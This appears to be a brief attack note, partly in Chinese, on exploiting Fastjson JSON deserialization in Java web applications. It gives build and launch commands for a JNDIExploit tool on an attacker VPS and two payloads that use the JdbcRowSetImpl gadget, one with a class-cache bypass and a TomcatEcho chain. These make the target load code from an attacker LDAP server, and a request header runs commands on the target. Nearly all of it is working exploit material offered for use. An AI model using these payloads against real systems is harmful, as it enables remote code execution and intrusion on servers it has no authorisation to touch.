# https://github.com/Jeromeyoung/JNDIExploit-1
# mvn clean package -DskipTests
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i vps地址
payload 请求
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps地址:1389/badClassName", "autoCommit":true}
POST / HTTP/1.1
Host: x.x.x.x
...
cmd: ls /tmp
...
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://vps地址:1389/Basic/TomcatEcho",
"autoCommit":true
}
}